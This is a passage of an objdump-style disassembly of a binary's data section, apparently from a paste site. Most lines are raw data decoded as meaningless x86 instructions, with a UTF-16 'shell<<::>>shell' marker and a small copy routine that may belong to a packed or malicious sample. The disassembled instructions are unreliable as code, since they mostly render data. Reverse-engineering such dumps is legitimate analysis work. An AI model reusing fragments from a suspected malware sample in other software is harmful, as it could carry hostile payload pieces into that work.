  838.                            .data:00000a52 69 71 52 65 61 42 61             imul   esi,DWORD PTR [ecx+0x52],0x61426165
  839.                            .data:00000a59 00 00                            add    BYTE PTR [eax],al
  840.                            .data:00000a5b 00 a4 f8 a0 03 7c 5b             add    BYTE PTR [eax+edi*8+0x5b7c03a0],ah
  841.                            .data:00000a62 16                               push   ss
  842.                            .data:00000a63 75 00                            jne    0x00000a65
  843.                            .data:00000a65 00 00                            add    BYTE PTR [eax],al
  844.                            .data:00000a67 00 84 5b 16 75 41 2d             add    BYTE PTR [ebx+ebx*2+0x2d417516],al
  845.                            .data:00000a6e d9 8f 2c 7b 0a 00                (bad)  [edi+0xa7b2c]
  846.                            .data:00000a74 01 00                            add    DWORD PTR [eax],eax
  847.                            .data:00000a76 00 80 00 00 00 00                add    BYTE PTR [eax+0x0],al
  848.                            .data:00000a7c 00 00                            add    BYTE PTR [eax],al
  849.                            .data:00000a7e 00 00                            add    BYTE PTR [eax],al
  850.                            .data:00000a80 00 00                            add    BYTE PTR [eax],al
  851.                            .data:00000a82 00 00                            add    BYTE PTR [eax],al
  852.                            .data:00000a84 58                               pop    eax
  853.                            .data:00000a85 6a 51                            push   0x51
  854.                            .data:00000a87 00 e0                            add    al,ah
  855.                            .data:00000a89 58                               pop    eax
  856.                            .data:00000a8a 70 32                            jo     0x00000abe
  857.                            .data:00000a8c 30 5a 6b                         xor    BYTE PTR [edx+0x6b],bl
  858.                            .data:00000a8f 00 12                            add    BYTE PTR [edx],dl
  859.                            .data:00000a91 00 12                            add    BYTE PTR [edx],dl
  860.                            .data:00000a93 00 24 b8                         add    BYTE PTR [eax+edi*4],ah
  861.                            .data:00000a96 20 03                            and    BYTE PTR [ebx],al
  862.                            .data:00000a98 00 00                            add    BYTE PTR [eax],al
  863.                            .data:00000a9a f1                               icebp  
  864.                            .data:00000a9b b7 90                            mov    bh,0x90
  865.                            .data:00000a9d 38 26                            cmp    BYTE PTR [esi],ah
  866.                            .data:00000a9f 51                               push   ecx
  867.                            .data:00000aa0 08 6e 74                         or     BYTE PTR [esi+0x74],ch
  868.                            .data:00000aa3 e4 55                            in     al,0x55
  869.                            .data:00000aa5 1a f5                            sbb    dh,ch
  870.                            .data:00000aa7 e9 8a 0a ca 3c                   jmp    0x3cca1536
  871.                            .data:00000aac e5 e3                            in     eax,0xe3
  872.                            .data:00000aae 1e                               push   ds
  873.                            .data:00000aaf e1 11                            loope  0x00000ac2
  874.                            .data:00000ab1 88 dd                            mov    ch,bl
  875.                            .data:00000ab3 4a                               dec    edx
  876.                            .data:00000ab4 db f8                            fnop  
  877.                            .data:00000ab6 a0 03 3d 2d d9                   mov    al,ds:0xd92d3d03
  878.                            .data:00000abb 8f                               (bad)  
  879.                            .data:00000abc 14 f9                            adc    al,0xf9
  880.                            .data:00000abe a0 03 bb 3f 73                   mov    al,ds:0x733fbb03
  881.                            .data:00000ac3 00 68 00                         add    BYTE PTR [eax+0x0],ch
  882.                            .data:00000ac6 65 00 6c 00 6c                   add    BYTE PTR gs:[eax+eax*1+0x6c],ch
  883.                            .data:00000acb 00 3c 00                         add    BYTE PTR [eax+eax*1],bh
  884.                            .data:00000ace 3c 00                            cmp    al,0x0
  885.                            .data:00000ad0 3a 00                            cmp    al,BYTE PTR [eax]
  886.                            .data:00000ad2 3a 00                            cmp    al,BYTE PTR [eax]
  887.                            .data:00000ad4 3e 00 3e                         add    BYTE PTR ds:[esi],bh
  888.                            .data:00000ad7 00 73 00                         add    BYTE PTR [ebx+0x0],dh
  889.                            .data:00000ada 68 00 65 00 6c                   push   0x6c006500
  890.                            .data:00000adf 00 6c 00 00                      add    BYTE PTR [eax+eax*1+0x0],ch
  891.                            .data:00000ae3 00 00                            add    BYTE PTR [eax],al
  892.                            .data:00000ae5 00 00                            add    BYTE PTR [eax],al
  893.                            .data:00000ae7 00 68 cd                         add    BYTE PTR [eax-0x33],ch
  894.                            .data:00000aea 20 03                            and    BYTE PTR [ebx],al
  895.                            .data:00000aec e8 f8 a0 03 3a                   call   0x3a03abe9
  896.                            .data:00000af1 44                               inc    esp
  897.                            .data:00000af2 26 75 bc                         es jne 0x00000ab1
  898.                            .data:00000af5 66 43                            inc    bx
  899.                            .data:00000af7 75 00                            jne    0x00000af9
  900.                            .data:00000af9 00 00                            add    BYTE PTR [eax],al
  901.                            .data:00000afb 00 1a                            add    BYTE PTR [edx],bl
  902.                            .data:00000afd 00 00                            add    BYTE PTR [eax],al
  903.                            .data:00000aff 00 08                            add    BYTE PTR [eax],cl
  904.                            .data:00000b01 00 00                            add    BYTE PTR [eax],al
  905.                            .data:00000b03 00 0c f9                         add    BYTE PTR [ecx+edi*8],cl
  906.                            .data:00000b06 a0 03 00 00 00                   mov    al,ds:0x3
  907.                            .data:00000b0b 00 d4                            add    ah,dl
  908.                            .data:00000b0d b3 81                            mov    bl,0x81
  909.                            .data:00000b0f 03 1a                            add    ebx,DWORD PTR [edx]
  910.                            .data:00000b11 00 00                            add    BYTE PTR [eax],al
  911.                            .data:00000b13 00 0c f9                         add    BYTE PTR [ecx+edi*8],cl
  912.                            .data:00000b16 a0 03 74 26 05                   mov    al,ds:0x5267403
  913.                            .data:00000b1b 00 24 74                         add    BYTE PTR [esp+esi*2],ah
  914.                            .data:00000b1e 0a 00                            or     al,BYTE PTR [eax]
  915.                            .data:00000b20 7c 26                            jl     0x00000b48
  916.                            .data:00000b22 05 00 1b 00 00                   add    eax,0x1b00
  917.                            .data:00000b27 00 00                            add    BYTE PTR [eax],al
  918.                            .data:00000b29 d4 05                            aam    0x5
  919.                            .data:00000b2b 00 55 8b                         add    BYTE PTR [ebp-0x75],dl
  920.                            .data:00000b2e ec                               in     al,dx
  921.                            .data:00000b2f 60                               pusha  
  922.                            .data:00000b30 8b 7d 08                         mov    edi,DWORD PTR [ebp+0x8]
  923.                            .data:00000b33 8b 75 0c                         mov    esi,DWORD PTR [ebp+0xc]
  924.                            .data:00000b36 8b 4d 10                         mov    ecx,DWORD PTR [ebp+0x10]
  925.                            .data:00000b39 f3 a4                            rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
  926.                            .data:00000b3b 61                               popa  
  927.                            .data:00000b3c 5d                               pop    ebp
  928.                            .data:00000b3d c2 0c 00                         ret    0xc
  929.                            .data:00000b40 13 ad 84 b5 fe 66                adc    ebp,DWORD PTR [ebp+0x66feb584]
  930.                            .data:00000b46 e1 36                            loope  0x00000b7e
  931.                            .data:00000b48 76 5a                            jbe    0x00000ba4
  932.                            .data:00000b4a e5 2c                            in     eax,0x2c
  933.                            .data:00000b4c 1d d7 58 a1 71                   sbb    eax,0x71a158d7
  934.                            .data:00000b51 7b d3                            jnp    0x00000b26
  935.                            .data:00000b53 ef                               out    dx,eax
  936.                            .data:00000b54 d0 02                            rol    BYTE PTR [edx],1
  937.                            .data:00000b56 3e 72 e8                         ds jb  0x00000b41
  938.                            .data:00000b59 1c 63                            sbb    al,0x63
  939.                            .data:00000b5b a0 34 a2 6d 92                   mov    al,ds:0x926da234
  940.                            .data:00000b60 7f c9                            jg     0x00000b2b
  941.                            .data:00000b62 44                               inc    esp
  942.                            .data:00000b63 2a 8e 26 2f 51 65                sub    cl,BYTE PTR [esi+0x65512f26]
  943.                            .data:00000b69 ad                               lods   eax,DWORD PTR ds:[esi]
  944.                            .data:00000b6a 34 1c                            xor    al,0x1c
  945.                            .data:00000b6c cb                               retf  
  946.                            .data:00000b6d 03 10                            add    edx,DWORD PTR [eax]
  947.                            .data:00000b6f b8 fd b0 c5 7a                   mov    eax,0x7ac5b0fd
  948.                            .data:00000b74 c6                               (bad)  
  949.                            .data:00000b75 29 17                            sub    DWORD PTR [edi],edx
  950.                            .data:00000b77 6d                               ins    DWORD PTR es:[edi],dx
  951.                            .data:00000b78 4c                               dec    esp
  952.                            .data:00000b79 b2 78                            mov    dl,0x78
  953.                            .data:00000b7b 32 63 85                         xor    ah,BYTE PTR [ebx-0x7b]
  954.                            .data:00000b7e 3c 27                            cmp    al,0x27
  955.                            .data:00000b80 35 d5 18 0e 76                   xor    eax,0x760e18d5
  956.                            .data:00000b85 8b 38                            mov    edi,DWORD PTR [eax]
  957.                            .data:00000b87 b1 94                            mov    cl,0x94
  958.                            .data:00000b89 d2 7a 45                         sar    BYTE PTR [edx+0x45],cl
  959.                            .data:00000b8c 82                               (bad)  
  960.                            .data:00000b8d da a1 7e 1c 61 7d                fisub  DWORD PTR [ecx+0x7d611c7e]
  961.                            .data:00000b93 98                               cwde  
  962.                            .data:00000b94 3c e8                            cmp    al,0xe8
  963.                            .data:00000b96 5d                               pop    ebp
  964.                            .data:00000b97 cc                               int3  
  965.                            .data:00000b98 03                               .byte 0x3
  966.                            .data:00000b99 af                               scas   eax,DWORD PTR es:[edi]
  967.                            .data:00000b9a 60                               pusha  
  968.                            .data:00000b9b f6                               .byte 0xf6
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement